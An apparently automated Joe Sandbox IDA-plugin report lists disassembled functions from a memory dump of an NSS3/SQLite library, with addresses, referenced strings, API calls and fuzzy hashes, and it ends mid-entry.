Function 6C5EEFB0 Relevance: 12.1, Strings: 9, Instructions: 815COMMON

Download Yara Rule

Strings

%s %T already exists, xrefs: 6C5EFAC8
sqlite_master, xrefs: 6C5EF0AB, 6C5EF2DA, 6C5EF757, 6C5EF93E
there is already an index named %s, xrefs: 6C5EF9D7
temporary table name must be unqualified, xrefs: 6C5EF734
not authorized, xrefs: 6C5EF957, 6C5EF9BA
table, xrefs: 6C5EF05C, 6C5EFABC, 6C5EFAC7
view, xrefs: 6C5EF061, 6C5EF071, 6C5EFAB7
authorizer malfunction, xrefs: 6C5EF95C, 6C5EF9BF, 6C5EFA5E, 6C5EFA8B
sqlite_temp_master, xrefs: 6C5EF0A6, 6C5EF2D5

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: %s %T already exists$authorizer malfunction$not authorized$sqlite_master$sqlite_temp_master$table$temporary table name must be unqualified$there is already an index named %s$view
API String ID: 3168844106-1126224928
Opcode ID: e9093df05d8465b220e44f2272e121f4dffe5c0cbb086d4787ef28cea9eb10aa
Instruction ID: ba198bc7c99a3ec51f1c9b15177747398e5c32bc2b642da92c7e81c1bf2448bb
Opcode Fuzzy Hash: e9093df05d8465b220e44f2272e121f4dffe5c0cbb086d4787ef28cea9eb10aa
Instruction Fuzzy Hash: A672A170E04205CFDB14CF68D884BA9BBF1BF8D308F1582A9D9159BB52DB75E845CB90

Function 6C709C40 Relevance: 11.1, APIs: 3, Strings: 3, Instructions: 565COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,00000000,6C5DC52B), ref: 6C709D53
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014960,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C70A035
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000149AD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C70A114

Strings

%s at line %d of [%.10s], xrefs: 6C70A02E, 6C70A10D
database corruption, xrefs: 6C70A029, 6C70A108
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C70A01F, 6C70A0E4, 6C70A0FE

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_log$memcmp
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 717804543-598938438
Opcode ID: 747237dc559f40ec3941e525ad7918c223b52519af00ca98d711597c5593ab93
Instruction ID: 43ffb86fb7cbbf5141caa6ef2098450fc71ef5129500bb174d74d3212fea0419
Opcode Fuzzy Hash: 747237dc559f40ec3941e525ad7918c223b52519af00ca98d711597c5593ab93
Instruction Fuzzy Hash: 6822ACB17083419FC704CF29C69062ABBE1BFDA354F148A3DE9DA97A52D731E845CB42

Function 6C729D90 Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 237COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,6C5E8637,?,?), ref: 6C729E88
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011166,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,?,?,?,?,?,?,?,?,?,6C5E8637), ref: 6C729ED6

Strings

%s at line %d of [%.10s], xrefs: 6C729ECF
database corruption, xrefs: 6C729ECA
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C729EC0

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: 09b5540a34350d3c5198fe76ee9ff6739680b954e54a1ceef1e05f6aae4bcf43
Instruction ID: 93e6624f903cc5810b0fdf43b0a3d97c0aee3162a67fb9604e7dc27adca02f3d
Opcode Fuzzy Hash: 09b5540a34350d3c5198fe76ee9ff6739680b954e54a1ceef1e05f6aae4bcf43
Instruction Fuzzy Hash: 0E81A071F012098FCB14CFAACA84ADEB3F6EF58304B188569E815ABB51E734ED45CB50

Function 6C630820 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 1448COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(00000000,00000001,00000001), ref: 6C6311D2

Strings

not authorized, xrefs: 6C63175E, 6C631763
rows deleted, xrefs: 6C6317D2
@, xrefs: 6C630B17
authorizer malfunction, xrefs: 6C631BD2

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: memset
String ID: @$authorizer malfunction$not authorized$rows deleted
API String ID: 2221118986-4041583037
Opcode ID: ab150fe4c757217e5993931a95fe85b75e0cb09b48ef807d7e43d3010e0c39ba
Instruction ID: b3501d3529e96deb0313036fbbc91e4a16332001abbfecd437ac54111242eeb7
Opcode Fuzzy Hash: ab150fe4c757217e5993931a95fe85b75e0cb09b48ef807d7e43d3010e0c39ba
Instruction Fuzzy Hash: 68D29C70E04269CFDB14CFA9C884B9DBBF1BF49308F24A169D419ABB51D771E846CB84

Function 6C737F20 Relevance: 7.7, APIs: 2, Strings: 2, Instructions: 713COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(00000000,00000000,?), ref: 6C7381BC

Strings

BINARY, xrefs: 6C738126
out of memory, xrefs: 6C73835B

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: memset
String ID: BINARY$out of memory
API String ID: 2221118986-3971123528
Opcode ID: 1c667550248587a7fde8d89a5d179766eb1ad02d10f5329b4b13a2ffad4d1529
Instruction ID: 5c68758b613dd9a766786d7a7a526e109fe71757a502387342787647f2b06efa
Opcode Fuzzy Hash: 1c667550248587a7fde8d89a5d179766eb1ad02d10f5329b4b13a2ffad4d1529
Instruction Fuzzy Hash: F452AF71E05228DFDB04CF99C980B9DBBB2FF48318F15916AD859EB752D730A846CB80

Function 6C6B9EC0 Relevance: 7.6, APIs: 5, Instructions: 69memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C6B9ED6

Part of subcall function 6C6B14C0: TlsGetValue.KERNEL32 ref: 6C6B14E0
Part of subcall function 6C6B14C0: EnterCriticalSection.KERNEL32 ref: 6C6B14F5
Part of subcall function 6C6B14C0: PR_Unlock.NSS3 ref: 6C6B150D

PORT_ArenaAlloc_Util.NSS3(?,00000024), ref: 6C6B9EE4

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C6B9F38

Part of subcall function 6C6BD030: PORT_NewArena_Util.NSS3(00000400,00000000,?,00000000,?,6C6B9F0B), ref: 6C6BD03B
Part of subcall function 6C6BD030: PORT_ArenaAlloc_Util.NSS3(00000000,00000028), ref: 6C6BD04E
Part of subcall function 6C6BD030: SECOID_FindOIDByTag_Util.NSS3(00000019), ref: 6C6BD07B
Part of subcall function 6C6BD030: SECITEM_CopyItem_Util.NSS3(00000000,-00000018,00000000), ref: 6C6BD08E
Part of subcall function 6C6BD030: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C6BD09D

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C6B9F49
SEC_PKCS7DestroyContentInfo.NSS3(?), ref: 6C6B9F59

Part of subcall function 6C6B9D60: PORT_ArenaMark_Util.NSS3(?,00000000,?,?,00000000,?,6C6B9C5B), ref: 6C6B9D82
Part of subcall function 6C6B9D60: PORT_ArenaGrow_Util.NSS3(?,?,00000000,?,6C6B9C5B), ref: 6C6B9DA9
Part of subcall function 6C6B9D60: PORT_ArenaGrow_Util.NSS3(?,?,?,?,?,?,?,?,6C6B9C5B), ref: 6C6B9DCE
Part of subcall function 6C6B9D60: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,6C6B9C5B), ref: 6C6B9E43

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Arena_CriticalEnterErrorGrow_Mark_SectionUnlock$AllocateContentCopyDestroyFindFreeInfoItem_Tag_
String ID:
API String ID: 4287675220-0
Opcode ID: 132886c8e85c4853bc8e1c53b1aed6ae3bf3f6f8f3c0773f36a280f0f549c6b0
Instruction ID: e0161a4a089a2d8325c13b07d1c8cbdb1dd59d199673a3e60fe1ca6c5bdd8558
Opcode Fuzzy Hash: 132886c8e85c4853bc8e1c53b1aed6ae3bf3f6f8f3c0773f36a280f0f549c6b0
Instruction Fuzzy Hash: CF110BB5F042026BF7109B659C00B9B73A9AFA635CF140134E50AAB740FB71E539C39D

Function 6C76CDC0 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 423stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C76D086
PR_Malloc.NSS3(00000001), ref: 6C76D0B9
PR_Free.NSS3(?), ref: 6C76D138

Strings

>, xrefs: 6C76CF5B

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: FreeMallocstrlen
String ID: >
API String ID: 1782319670-325317158
Opcode ID: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction ID: dadeca0df0336e890a93f9c09d5546fdac01e6f59edf48890e3e18a2e203b027
Opcode Fuzzy Hash: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction Fuzzy Hash: 9DD18A32B506460BEF18487F8EA13EA77938762374F784339DD618BFE5E65888438305

Function 6C5EAC60 Relevance: 6.4, Strings: 5, Instructions: 181COMMON

Download Yara Rule

Strings

winUnlockReadLock, xrefs: 6C5EAE9F
Pvl, xrefs: 6C5EADDB, 6C5EADF5, 6C5EAE6A
winUnlock, xrefs: 6C5EAE18
pvl, xrefs: 6C5EADA7
0vl, xrefs: 6C5EACC0, 6C5EAD22, 6C5EAD5E, 6C5EAE45

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID:
String ID: 0vl$Pvl$pvl$winUnlock$winUnlockReadLock
API String ID: 0-792151856
Opcode ID: e20b9e19ba0afe291d9b8cee9bc22bb4791b3380891b8ef03cf62bb322d0ebc0
Instruction ID: eecee8da5ac6bf1c60882fbbe5d7e3ac746ab80e53bce509b454173c4e46b59e
Opcode Fuzzy Hash: e20b9e19ba0afe291d9b8cee9bc22bb4791b3380891b8ef03cf62bb322d0ebc0
Instruction Fuzzy Hash: E671BD706083449FDB04CF28E894AAABBF5FF89304F14CA28F95997351E730A985CBD1

Function 6C70AD50 Relevance: 6.4, APIs: 4, Instructions: 389COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 794bfaa1980d3c154a5c416d9e425536d3842891f06a5ee8c1baa9c35b8d8776
Instruction ID: 26f18300c447125f1e7eb02779cb283940893cb3118e5255baca8150d3083427
Opcode Fuzzy Hash: 794bfaa1980d3c154a5c416d9e425536d3842891f06a5ee8c1baa9c35b8d8776
Instruction Fuzzy Hash: A5F1E1B1F012598BDB04CFA9DA547AE77F0AB8A308F25823DD905D7B44E770AA51CBC4

Function 6C6FDFC0 Relevance: 6.3, APIs: 3, Strings: 1, Instructions: 344stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,00000003,?,6C5D5001,?,00000003,00000000), ref: 6C6FDFD7
memset.VCRUNTIME140(00000000,00000000,?,?,?,00000003,?,6C5D5001,?), ref: 6C6FE2B7
memcpy.VCRUNTIME140(00000028,00000003,?,?,?,?,?,?,00000003,?,6C5D5001,?), ref: 6C6FE2DA

Strings

W, xrefs: 6C6FE111

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: memcpymemsetstrlen
String ID: W
API String ID: 160209724-655174618
Opcode ID: 40b88c6e33cd5cace35e86ebe49c0735146c25b2cd4516ec4412a20f04fedf37
Instruction ID: 81f911910fb2354c947499ff244de95da27b7d87c1d6102bec37ca2ab405f34f
Opcode Fuzzy Hash: 40b88c6e33cd5cace35e86ebe49c0735146c25b2cd4516ec4412a20f04fedf37
Instruction Fuzzy Hash: D3C11772A092558BDB04CE2AC4907EA7FB3BF86308F284169DD799BB41D731A907C7D4

Function 6C6C0E20 Relevance: 6.3, APIs: 2, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,00000000,00000000,00000000), ref: 6C6C1052
memset.VCRUNTIME140(-0000001C,?,?,00000000), ref: 6C6C1086

Strings

h(ll, xrefs: 6C6C1062, 6C6C105D, 6C6C0F37, 6C6C1081, 6C6C1082
h(ll, xrefs: 6C6C0E55, 6C6C0EC4, 6C6C0F3A, 6C6C0FA7

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: memcpymemset
String ID: h(ll$h(ll
API String ID: 1297977491-1774252009
Opcode ID: 67f5b1fcb83da880fb63f573082336db8c87943e3a4081e198a5746fec37010d
Instruction ID: 8cacc4eec63e3fbaf3f0f4d0275ff84627187728bee462977504022fabc56833
Opcode Fuzzy Hash: 67f5b1fcb83da880fb63f573082336db8c87943e3a4081e198a5746fec37010d
Instruction Fuzzy Hash: 91A14BB1B0125A9FCF08CF99C894AEEBBB6FF4C314B148129E914A7700D735AD41CBA5

Function 6C5E4DB0 Relevance: 5.3, Strings: 4, Instructions: 318COMMON

Download Yara Rule

Strings

winUnlockReadLock, xrefs: 6C5E5125
Pvl, xrefs: 6C5E5019, 6C5E50FA, 6C5E5157, 6C5E51DE, 6C5E51F2, 6C5E520D, 6C5E5220, 6C5E52A2, 6C5E52B5
pvl, xrefs: 6C5E4E1C, 6C5E4E81, 6C5E4FDE, 6C5E5047, 6C5E50BB, 6C5E51A3, 6C5E526C
0vl, xrefs: 6C5E4EDE, 6C5E4F82

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID:
String ID: 0vl$Pvl$pvl$winUnlockReadLock
API String ID: 0-1853705913
Opcode ID: 0ed5cc44f3942988c63461552229b44bce89009f2c210b17fd9df82dd5d138e0
Instruction ID: 3cbedef075596b0c078a03242bfe68d756f01b628b04aabbd222c3718a377c1c
Opcode Fuzzy Hash: 0ed5cc44f3942988c63461552229b44bce89009f2c210b17fd9df82dd5d138e0
Instruction Fuzzy Hash: 25E12B70A18344CFDB04DF28E89865ABBF0FF89304F558A6DF89997351E7309985CB82

Function 6C5E6F10 Relevance: 5.2, Strings: 4, Instructions: 218COMMON

Download Yara Rule

Strings

sz=[0-9]*, xrefs: 6C5E7049
*?[, xrefs: 6C5E7034, 6C5E7052, 6C5E7070
noskipscan*, xrefs: 6C5E7067
unordered*, xrefs: 6C5E702B

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID:
String ID: *?[$noskipscan*$sz=[0-9]*$unordered*
API String ID: 0-3485574213
Opcode ID: f0f4bade09ec0670cfc77a1599e0919988e2e42272c72179ebe5f85bfa625548
Instruction ID: 92c49b672d14e46bbccf307794f265cacb030f5e1c0adf67c6e2e1a140b3a08a
Opcode Fuzzy Hash: f0f4bade09ec0670cfc77a1599e0919988e2e42272c72179ebe5f85bfa625548
Instruction Fuzzy Hash: FC716C32F043154BEB14CE6DCC8039E77A29F89394F250678CD69ABBC6EA719C4687C1

Function 6C603EC0 Relevance: 4.3, Strings: 3, Instructions: 583COMMON

Download Yara Rule

Strings

sqlite_master, xrefs: 6C60463F
sqlite_temp_master, xrefs: 6C60460F
sqlite_, xrefs: 6C603FAA, 6C604185

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID:
String ID: sqlite_$sqlite_master$sqlite_temp_master
API String ID: 0-4221611869
Opcode ID: 13cb1de56c6c577b4cd9dc57d243c00aebf838c9dfbd30ced650c0011ee71b8e
Instruction ID: cea33bdaf64ff83b4ba73afc552ab02b30a1fd23bf808f6a75a5a13d1822b12a
Opcode Fuzzy Hash: 13cb1de56c6c577b4cd9dc57d243c00aebf838c9dfbd30ced650c0011ee71b8e
Instruction Fuzzy Hash: 3022AC2174D1554FD72D8B2682A06F6BBF29F67308B6845ACCAE17FE42D261EC41C788

Function 6C73BE70 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 1029COMMON

Download Yara Rule

Strings

`, xrefs: 6C73C0B6

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID:
String ID: `
API String ID: 0-2679148245
Opcode ID: 506eee700f2dbc4191454ecb41f8d5d0d7223a0a5c1c5bf7975cfba115cccf7a
